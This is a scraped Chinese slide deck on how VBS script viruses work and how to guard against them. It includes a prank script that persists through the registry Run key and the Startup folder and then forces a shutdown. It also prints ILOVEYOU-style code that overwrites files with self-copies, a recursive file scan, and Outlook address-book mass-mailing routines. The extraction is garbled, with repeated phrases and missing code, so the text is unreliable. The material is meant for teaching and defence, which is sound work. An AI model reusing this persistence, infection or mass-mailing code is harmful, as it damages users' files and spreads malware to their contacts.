脚本病毒原理分析与防范.ppt





《脚本病毒原理分析与防范.ppt》由会员分享,可在线阅读,更多相关《脚本病毒原理分析与防范.ppt(61页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、脚本病毒原理分析与防范脚本病毒原理分析与防范目录目录一、一、Vbs脚本病毒的特点及发展现状脚本病毒的特点及发展现状二、二、Vbs脚本病毒原理分析脚本病毒原理分析三、如何防范三、如何防范vbs脚本病毒脚本病毒四、对所有脚本类病毒发展的展望四、对所有脚本类病毒发展的展望 自动关机自动关机 Dim fs,dirwin,c,Wll,str,strr,r Set fs=)Set dirwin=fs.GetSpecialFolder(1)Set Wll=)Set c=)str=HK&LMSOFT&WAREMicr&osoftWin&dowsCurren&tVersionR&unwxb if()Then c
2、all Show_And_Do(reg)elseif(fs.FileExists(C:Documents and SettingsAll UsersStart MenuProgramsStartup)Then call Show_And_Do(Startup)else On Error Resume Next strr=str,C:WINDOWSsystem32wxb.vbs,REG_SZ strr=(str)if strr=then c.Copy(C:Documents and SettingsAll UsersStart MenuProgramsStartup)else)end if en
3、d if sub Show_And_Do(s)dim f r=MsgBox(提问:你认为你是猪吗?提问:你认为你是猪吗?&Chr(13)&Chr(10)&确定确定是猪是猪&Chr(10)&取消取消不是不是猪猪,4145,MsgBox Example)If r=1 Then if s=Startup then set f=fs.GetFile(C:Documents and SettingsAll UsersStart MenuProgramsStartup)()elseif s=reg then str set f=)()end if Else -s-f-t 0 End If end sub
4、网络的流行,让我们的世界变得更加美好,但它也有让人不愉快网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?已经闯进了您的世界呢?2000年年5月月4日欧美爆发的日欧美爆发的“爱虫爱虫”网络网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒
5、在短短几天内蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。时光病毒至今都让广大电脑用户更是苦不堪言。上面提及的两个病毒最大的一个共同特点是:使用上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。编写。以爱虫和新欢乐时光病毒为典型代表的以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,脚本病毒十分
6、的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚脚本病毒的各个方面加以分析:本病毒的各个方面加以分析:一、一、Vbs脚本病毒的特点及发展现状脚本病毒的特点及发展现状 VBS病毒是用病毒是用VB Script编写而成,该脚本语言功能非常强大,它编写而成,该脚本语言功能非常强大,它们利用们利用Windows系统的开放性特点,通过调用一些现成的系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是
7、这种思想在用功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。实现时变得极其容易。VBS脚本病毒具有如下几个特点:脚本病毒具有如下几个特点:1编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。新型病毒来。2破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。服务器崩溃,网络发生严重阻塞。3感染力强。由于脚本是直接解释执行,并且它不需要像感染力强。由
8、于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复病毒那样,需要做复杂的杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。件,并且自我的异常处理变得非常容易。4传播范围大。这类病毒通过传播范围大。这类病毒通过htm文档,文档,Email附件或其它方式,可以在很短时间内传遍附件或其它方式,可以在很短时间内传遍世界各地。世界各地。5病毒源码容易被获取,变种多。由于病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即病毒解释执行,其源代码可读性
9、非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。6欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如如,邮件的附件名采用双后缀,如.,由于系统默认不显示后缀,这样,用户看到这个文件,由于系统默认不显示后缀,
10、这样,用户看到这个文件的时候,就会认为它是一个的时候,就会认为它是一个jpg图片文件。图片文件。7使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。我们后面谈及。正因为以上几个
11、特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。本病毒变得非常容易。二、二、Vbs脚本病毒原理分析脚本病毒原理分析1vbs脚本病毒如何感染、搜索文件脚本病毒如何感染、搜索文件 VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,
12、并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:搜索原理:以下是文件感染的部分关键代码:以下是文件感染的部分关键代码:Set fso=)创建一个文件系统对象创建一个文件系统对象set self=fso.opentextfile(
13、wscript.scriptfullname,1)读打开当前文件(即病读打开当前文件(即病毒本身)毒本身)vbscopy=读取病毒全部代码到字符串变量读取病毒全部代码到字符串变量vbscopyset ap=(目标文件目标文件.path,2,true)写打开目标文件,准备写入病毒代码写打开目标文件,准备写入病毒代码 vbscopy 将病毒代码覆盖目标文件将病毒代码覆盖目标文件set cop=(目标文件目标文件.path)得到目标文件路径得到目标文件路径(目标文件目标文件.path&.vbs)创建另外一个病毒文件(以创建另外一个病毒文件(以.vbs为后缀)为后缀)目标文件目标文件.delete(t
14、rue)删除目标文件删除目标文件上面描述了病毒文件是如何感染正常文件的:首先将病毒自上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、目标文件,并创建一个以目标文件名为文件名前缀、vbs为后为后缀的文件副本,最后删除目标文件。缀的文件副本,最后删除目标文件。下面我们具体分析一下文件搜索代码:下面我们具体分析一下文件搜索代码:该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒
15、副本sub scan(folder_)scan函数定义,函数定义,on error resume next 如果出现错误,直接跳过,防止弹出错误窗口如果出现错误,直接跳过,防止弹出错误窗口Set fso=)set folder_=fso.getfolder(folder_)set files=当前目录的所有文件集合当前目录的所有文件集合for each file in filesext=fso.GetExtensionName(file)获取文件后缀获取文件后缀ext=lcase(ext)后缀名转换成小写字母后缀名转换成小写字母if ext=doc then如果后缀名是如果后缀名是mp5,则进
16、行感染。请自己建立相应后缀名,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名的文件,最好是非正常后缀名,以免破坏正常程序。,以免破坏正常程序。Wscript.echo(file)end ifnextset subfolders=for each subfolder in subfolders 搜索其他目录;递归调用搜索其他目录;递归调用scan subfolderscan(subfolder)nextend sub上面的代码就是上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜脚本病毒进行文件搜索的代码分析。搜索部分索部分scan()函数做得比较短小精悍,非常巧妙,采用了一个函
17、数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。递归的算法遍历整个分区的目录和文件。2vbs脚本病毒通过网络传播的几种方式及代码分析脚本病毒通过网络传播的几种方式及代码分析 VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,一般来说,VBS脚本病毒采用如下几种方式进行传播:脚本病毒采用如下几种方式进行传播:1)通过)通过Email附件传播附件传播 这是一种用的非常普遍的传播方式,病毒可以通过各种方这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的法拿到合法的Email地址,最常见的
18、就是直接取地址,最常见的就是直接取outlook地址簿地址簿中的邮件地址,也可以通过程序在用户文档(譬如中的邮件地址,也可以通过程序在用户文档(譬如htm文件)文件)中搜索中搜索Email地址。地址。Application:The Application object represents the entire Outlook application and is the top object in the hierarchy.The Application object is also the only object that can be returned when Automating
19、Outlook.Namespace:The Namespace object represents the messaging service provider or message store.Currently the only available message store in Outlook is MAPI,which allows access to all Outlook folders and items.Folders:All Outlook items are contained within folders.These folders are then grouped i
20、nto a collection of folders called the Folders collection object.The Folders collection object represents a collection of all folders within Outlook.Although currently only MAPIFolder objects exist in this collection,eventually other folder types may exist.MAPIFolder:A MAPIFolder object represents a
21、 single Outlook folder such as Contacts or the Inbox.A MAPIFolder object can contain individual items such as messages or appointments,or it can contain other folders.Folders can be typed to contain only a default item such as only e-mail items or only appointment items.Items:Every folder has an Ite
22、ms collection object,which represents all Outlook objects within that folder.The Items collection can be broken down further into specific types of items such as e-mail messages,appointments,and tasks.AddressLists and AddressEntries:The AddressLists collection object represents all of the address bo
23、oks installed for a particular profile.Within each individual AddressList object is a collection of AddressEntries.This collection contains all of the entries in that particular book.Entries can be added,edited,and removed programmatically.下面我们具体分析一下下面我们具体分析一下VBS脚本病毒是如何做到这一点的:脚本病毒是如何做到这一点的:Function
24、mailBroadcast()on error resume nextSet outlookApp=)/创建一个创建一个OUTLOOK应用的对象应用的对象If outlookApp=Outlook ThenSet mapiObj=outlookApp.GetNameSpace(MAPI)/获取获取MAPI的名字的名字空间空间Set addrList=/获取地址表的个数获取地址表的个数For Each addr In addrListIf 0 ThenaddrEntCount=/获取每个地址表的获取每个地址表的Email记录数记录数 For addrEntIndex=1 To addrEntCo
25、unt/遍历地址表的遍历地址表的Email地址地址Set item=outlookApp.CreateItem(0)/获取一个邮件对象实例获取一个邮件对象实例Set addrEnt=addr.AddressEntries(addrEntIndex)/获取具体获取具体Email地址地址=/填入收信人地址填入收信人地址 =病毒传播实验病毒传播实验/写入邮件标题写入邮件标题=这里是病毒邮件传播测试,收到此信请不要慌张!这里是病毒邮件传播测试,收到此信请不要慌张!/写入文件内容写入文件内容Set attachMents=/定义邮件附件定义邮件附件 fileSysObj.GetSpecialFolder
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 脚本 病毒 原理 分析 防范

限制150内